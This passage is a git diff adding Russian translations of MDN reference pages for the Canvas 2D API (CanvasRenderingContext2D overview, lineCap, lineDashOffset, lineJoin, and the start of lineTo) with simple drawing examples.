+ <dd>Доступная только для чтения обратная ссылка на {{domxref("HTMLCanvasElement")}}. Может иметь значение {{jsxref("null")}}, если она не связана с элементом {{HTMLElement("canvas")}}.</dd>
+</dl>
+
+<h2 id="Области_попадания">Области попадания</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Добавляет область попадания к холсту.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Удаляет область попадания с указанным <code>id</code> с холста.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}</dt>
+ <dd>Удаляет все области попадания с холста.</dd>
+</dl>
+
+<h2 id="Нестандартные_API">Нестандартные API</h2>
+
+<h3 id="Blink_и_WebKit">Blink и WebKit</h3>
+
+<p>Большинство из этих API являются <a href="https://code.google.com/p/chromium/issues/detail?id=363198">запрещенными и будут удалены в будущем</a>.</p>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.clearShadow()</code></dt>
+ <dd>Удаляет все настройки теней, такие как {{domxref("CanvasRenderingContext2D.shadowColor")}} и {{domxref("CanvasRenderingContext2D.shadowBlur")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.drawImageFromRect()</code></dt>
+ <dd>This is redundant with an equivalent overload of <code>drawImage</code>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setAlpha()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.globalAlpha")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setCompositeOperation()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineWidth()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.lineWidth")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineJoin()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.lineJoin")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineCap()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.lineCap")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setMiterLimit()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.miterLimit")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setStrokeColor()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.strokeStyle")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setFillColor()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.fillStyle")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setShadow()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.shadowColor")}} и {{domxref("CanvasRenderingContext2D.shadowBlur")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDash</code></dt>
+ <dd>Вместо этого свойства следует использовать {{domxref("CanvasRenderingContext2D.getLineDash()")}} и {{domxref("CanvasRenderingContext2D.setLineDash()")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDashOffset</code></dt>
+ <dd>Вместо этого свойства следует использовать {{domxref("CanvasRenderingContext2D.lineDashOffset")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitImageSmoothingEnabled</code></dt>
+ <dd>Вместо этого свойства следует использовать {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.</dd>
+</dl>
+
+<h3 id="Только_Blink">Только Blink</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.getContextAttributes()</code></dt>
+ <dd>По аналогии с аналогичным методом класса <code>WebGLRenderingContext</code>, возвращает объект <code>Canvas2DContextAttributes</code>, который содержит аттрибуты "storage", показывающие какое хранилище используется (по умолчанию "persistent") и аттрибут "alpha" (<code>true</code> по умолчанию), показывающий используется ли прозрачность на холсте.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.isContextLost()</code></dt>
+ <dd>По аналогии с аналогичным методом класса <code>WebGLRenderingContext</code>, возвращает <code>true</code> если контекст canvas был потерян, <code>иначе false</code>.</dd>
+</dl>
+
+<h3 id="Только_WebKit">Только WebKit</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitBackingStorePixelRatio</code></dt>
+ <dd><span id="result_box" lang="ru"><span>Размер хранилища по отношению к элементу canvas</span></span>. Смотри <a href="http://www.html5rocks.com/en/tutorials/canvas/hidpi/">High DPI Canvas</a>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitGetImageDataHD</code></dt>
+ <dd>Предназначался для HD хранилищ, но удален из спецификации canvas.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitPutImageDataHD</code></dt>
+ <dd>Предназначался для HD хранилищ, но удален из спецификации canvas.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Только_Gecko">Только Gecko</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.filter")}}</dt>
+ <dd><span id="summary_alias_container"><span id="short_desc_nonedit_display">CSS and SVG filters as Canvas APIs</span></span>. Likely to be standardized in a new version of the specification.</dd>
+</dl>
+
+<h4 id="Prefixed_APIs">Prefixed APIs</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransform</code></dt>
+ <dd>Sets or gets the current transformation matrix, see {{domxref("CanvasRenderingContext2D.currentTransform")}}.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransformInverse</code></dt>
+ <dd>Sets or gets the current inversed transformation matrix.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozFillRule</code></dt>
+ <dd>The <a class="external" href="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t" title="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t">fill rule</a> to use. This must be one of <code>evenodd</code> or <code>nonzero</code> (default).</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozImageSmoothingEnabled</code></dt>
+ <dd>See {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozDash</code></dt>
+ <dd>An array which specifies the lengths of alternating dashes and gaps {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozDashOffset</code></dt>
+ <dd>Specifies where to start a dash array on a line. {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozTextStyle</code></dt>
+ <dd>Introduced in in Gecko 1.9, deprecated in favor of the {{domxref("CanvasRenderingContext2D.font")}} property.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozDrawText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.strokeText()")}} or {{domxref("CanvasRenderingContext2D.fillText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozMeasureText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is unimplemented starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.measureText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozPathText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozTextAlongPath()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+</dl>
+
+<h4 id="Internal_APIs_(chrome-context_only)">Internal APIs (chrome-context only)</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.asyncDrawXULElement()")}}</dt>
+ <dd>Renders a region of a XUL element into the <code>canvas</code>.</dd>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.drawWindow()")}}</dt>
+ <dd>Renders a region of a window into the <code>canvas</code>. The contents of the window's viewport are rendered, ignoring viewport clipping and scrolling.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.demote()</code></dt>
+ <dd>This causes a context that is currently using a hardware-accelerated backend to fallback to a software one. All state should be preserved.</dd>
+</dl>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.msFillRule</code></dt>
+ <dd>The <a class="external" href="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t" title="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t">fill rule</a> to use. This must be one of <code>evenodd</code> or <code>nonzero</code> (default).</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Cпецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#2dcontext:canvasrenderingcontext2d", "CanvasRenderingContext2D")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("1")}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("9")}}</td>
+   <td>{{CompatSafari("2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Примечания_о_совместимости">Примечания о совместимости</h3>
+
+<ul>
+ <li>Начиная с Gecko 5.0 {{geckoRelease("5.0")}}, указание недопустимых значений для следующих методов и свойств молча игнорируется: <code>translate()</code>, <code>transform()</code>, <code>rotate(), </code><code>scale(),</code> <code>rect()</code>, <code>clearRect()</code>, <code>fillRect()</code>, <code>strokeRect()</code>, <code>lineTo()</code>, <code>moveTo()</code>, <code>quadraticCurveTo()</code>, <code>arc()</code>, <code>shadowOffsetX</code>, <code>shadowOffsetY</code>,  <code>shadowBlur</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linecap/index.html b/files/ru/web/api/canvasrenderingcontext2d/linecap/index.html
new file mode 100644
index 0000000000..e4d59a184d
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/linecap/index.html
@@ -0,0 +1,132 @@
+---
+title: CanvasRenderingContext2D.lineCap
+slug: Web/API/CanvasRenderingContext2D/lineCap
+tags:
+  - API
+  - Canvas
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/lineCap
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.lineCap</code></strong> предоставляемое Canvas 2D API определяет, как будут выглядеть концы нарисованных линий. </p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Линии могут быть нарисованы с помощью методов {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}}, и {{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}} methods.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><em>ctx</em>.lineCap = "butt" || "round" || "square";</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>butt</code></dt>
+ <dd>Концы линий прямые.</dd>
+ <dt><code>round</code></dt>
+ <dd>Концы линий скругленные.</dd>
+ <dt><code>square</code></dt>
+ <dd>Концы линий прямые, но к ней с обоих концов добавляется поле с шириной равной толщине линии и высотой равной половине от толщины линии.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_lineCap_property" name="Using_the_lineCap_property">Использование свойства lineCap</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий <code>lineCap.</code></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(20, 20);
+ctx.lineWidth = 15;
+ctx.lineCap = 'round';
+ctx.lineTo(100, 100);
+ctx.stroke();</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Использование_свойства_lineCap', 700, 180) }}</p>
+
+<h3 id="A_lineCap_example" name="A_lineCap_example">Разница между значениями lineCap</h3>
+
+<p>В примере нарисованы три линии с разными значениями <code>lineCap</code>. Для наглядности мы добавим две направляющие. Каждая линия будет начинаться и заканчиваться этими направляющими.</p>
+
+<p>Левая линия будет использовать значение lineCap <code>"butt"</code>. Она не будет выходить за направляющие. Средняя линия будет нарисована со занчением lineCap <code>"round"</code>. За направляющие будут выходить полукруги с диаметром равным толщине линии. Правая линия будет использовать значение <code>"square"</code>. Она будет выходить за направляющие на поля с шириной равной толщине линии и высотой равной половине толщины.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+const lineCap = ['butt', 'round', 'square'];
+
+// Draw guides
+ctx.strokeStyle = '#09f';
+ctx.beginPath();
+ctx.moveTo(10, 10);
+ctx.lineTo(140, 10);
+ctx.moveTo(10, 140);
+ctx.lineTo(140, 140);
+ctx.stroke();
+
+// Draw lines
+ctx.strokeStyle = 'black';
+for (let i = 0; i &lt; lineCap.length; i++) {
+  ctx.lineWidth = 15;
+  ctx.lineCap = lineCap[i];
+  ctx.beginPath();
+  ctx.moveTo(25 + i * 50, 10);
+  ctx.lineTo(25 + i * 50, 140);
+  ctx.stroke();
+}</pre>
+
+<p>{{EmbedLiveSample("Разница_между_значениями_lineCap", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linecap", "CanvasRenderingContext2D.lineCap")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместиммоссть_с_браузерами">Совместиммоссть с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineCap")}}</p>
+
+<h3 id="Особенности_WebKitBlink">Особенности WebKit/Blink</h3>
+
+<ul>
+ <li>В браузерах на базе Webkit и Blink помимо этого свойства, также поддержвается нестадартный метод <code>ctx.setLineCap()</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данное свойство {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineWidth")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineJoin")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html
new file mode 100644
index 0000000000..ec4db4e6e2
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html
@@ -0,0 +1,149 @@
+---
+title: CanvasRenderingContext2D.lineDashOffset
+slug: Web/API/CanvasRenderingContext2D/lineDashOffset
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - JavaScript
+  - Property
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/lineDashOffset
+---
+<div>{{APIRef}}</div>
+
+<div></div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D.lineDashOffset</strong></code> в Canvas 2D API устанавливает смещение штрихов, или «фаза».</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Линии нарисованы вызовом метода  {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.lineDashOffset = <em>value</em>;
+</pre>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Число с плавающей запятой, определяющее величину смещения штрихов линии. Значением по умолчанию является 0,0.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Смещение_штрихов">Смещение штрихов</h3>
+
+<p>Этот пример рисует две пунктирные линии. Первая не имеет смещения. Вторая имеет смещение 4.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[15]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.setLineDash([4, 16]);
+
+// Пунктирная линия без смещения
+ctx.beginPath();
+ctx.moveTo(0, 50);
+ctx.lineTo(300, 50);
+ctx.stroke();
+
+// Пунктирная линия со смещением 4
+ctx.beginPath();
+ctx.strokeStyle = 'red';
+ctx.lineDashOffset = 4;
+ctx.moveTo(0, 100);
+ctx.lineTo(300, 100);
+ctx.stroke();
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>Линия со смещением будет нарисована красным цветом.</p>
+
+<p>{{ EmbedLiveSample('Смещение_штрихов', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p>
+
+<h3 id="Эффект_марширующих_муравьев">Эффект марширующих муравьев</h3>
+
+<p><a href="https://en.wikipedia.org/wiki/Marching_ants">Эффект марширующих муравьев</a> - это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу..</p>
+
+<div class="hidden">
+<h6 id="HTML_2">HTML</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+let offset = 0;
+
+const draw = () =&gt; {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10, 10, 100, 100);
+}
+
+const march = () =&gt; {
+  offset++;
+  if (offset &gt; 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();
+</pre>
+
+<p>{{ EmbedLiveSample('Эффект_марширующих_муравьев', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linedashoffset", "CanvasRenderingContext2D.lineDashOffset")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineDashOffset")}}</p>
+
+<h3 id="Специфичные_для_Gecko_заметки">Специфичные для Gecko заметки</h3>
+
+<ul>
+ <li><code>mozDashOffset</code>  свойство будет объявлено устаревшим и будет удалено в будущем, смотрите {{bug(931643)}}. Вместо него используйте <code>lineDashOffset</code>.</li>
+</ul>
+
+<h3 id="Специфичные_для_WebKit_заметки">Специфичные для WebKit заметки</h3>
+
+<ul>
+ <li>В браузерах на основе WebKit (например, Safari) помимо этого метода реализовано нестандартное и устаревшее свойство <code>webkitLineDashOffset</code>. Вместо него используйте <code>lineDashOffset</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Применение стилей и цвета</a></li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html
new file mode 100644
index 0000000000..afdeff96d3
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html
@@ -0,0 +1,143 @@
+---
+title: CanvasRenderingContext2D.lineJoin
+slug: Web/API/CanvasRenderingContext2D/lineJoin
+tags:
+  - API
+  - Canvas
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/lineJoin
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.lineJoin</code></strong> предоставляемое Canvas 2D API определяет форму вершин в которых линии сходятся. Длина линий должна быть ненулевой.</p>
+
+<p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Lines can be drawn with the {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}}, and {{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}} methods.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><em>ctx</em>.lineJoin = "bevel" || "round" || "miter";</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Свойство может принимать три значения: <code>round</code>, <code>bevel</code> и <code>miter</code>. По умолчанию установленно значение <code>miter</code>. Имейте ввиду, что свойство никак не повлияет на линии направленные в одну сторону, потому что не будет создана зона пересечения.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/237/Canvas_linejoin.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>round</code></dt>
+ <dd>Скругляет углы засчет добавления сектора с центром в точке пересечения линий и радиусом равным толщине линии.</dd>
+ <dt><code>bevel</code></dt>
+ <dd>"Срезает" угол, рисуя треугольник с вершинами в точке пересечения линий и крайних точках каждой линии.</dd>
+ <dt><code>miter</code></dt>
+ <dd>Соединяет линии в одной точке, расширяя для этого их границы и заполняя пространство ромбами . Установка этого эффекта осуществляется свойством {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_lineCap_property" name="Using_the_lineCap_property">Использование свойства lineJoin</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий <code>lineJoin</code> для скругления места соединения линий.</p>
+
+<p> </p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre><code>&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre><code>const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.lineWidth = 20;
+ctx.lineJoin = 'round';
+ctx.beginPath();
+ctx.moveTo(20, 20);
+ctx.lineTo(190, 100);
+ctx.lineTo(280, 20);
+ctx.lineTo(280, 150);
+ctx.stroke();</code></pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('Changing_the_joins_in_a_path', 700, 180) }}</p>
+
+<p> </p>
+
+<h3 id="A_lineJoin_example" name="A_lineJoin_example">Разница между значениями lineJoin</h3>
+
+<p>Пример ниже наглядно демонстрирует разницу между значениями свойства <code>lineJoin.</code></p>
+
+<p> </p>
+
+<div class="hidden">
+<pre><code>&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</code></pre>
+</div>
+
+<pre><code>var ctx = document.getElementById('canvas').getContext('2d');
+var lineJoin = ['round', 'bevel', 'miter'];
+ctx.lineWidth = 10;
+
+for (let i = 0; i &lt; lineJoin.length; i++) {
+  ctx.lineJoin = lineJoin[i];
+  ctx.beginPath();
+  ctx.moveTo(-5, 5 + i * 40);
+  ctx.lineTo(35, 45 + i * 40);
+  ctx.lineTo(75, 5 + i * 40);
+  ctx.lineTo(115, 45 + i * 40);
+  ctx.lineTo(155, 5 + i * 40);
+  ctx.stroke();
+}</code></pre>
+
+<p>{{EmbedLiveSample("Comparison_of_line_joins", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p>
+
+<p> </p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linejoin", "CanvasRenderingContext2D.lineJoin")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_брузерами">Совместимость с брузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineJoin")}}</p>
+
+<p> </p>
+
+<h2 id="Особенность_WebKitBlink">Особенность WebKit/Blink</h2>
+
+<ul>
+ <li>
+  <p>В<span id="cke_bm_84C" style="display: none;"> </span> браузерах на базе Webkit и Blink помимо этого свойства, также поддержвается нестадартный метод <code>ctx.setLineJoin()</code>.</p>
+ </li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данное свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineCap")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineWidth")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html
new file mode 100644
index 0000000000..b09732cc5e
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html
@@ -0,0 +1,116 @@
+---
+title: CanvasRenderingContext2D.lineTo()
+slug: Web/API/CanvasRenderingContext2D/lineTo
+tags:
+  - API
+  - Canvas
+  - Method
+translation_of: Web/API/CanvasRenderingContext2D/lineTo
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>lineTo()</strong></code> - метод {{domxref("CanvasRenderingContext2D")}}, часть Canvas 2D API, добавляет линию к текущему под пути с конечной точкой с короординатами <code>(x, y)</code>.</p>
+
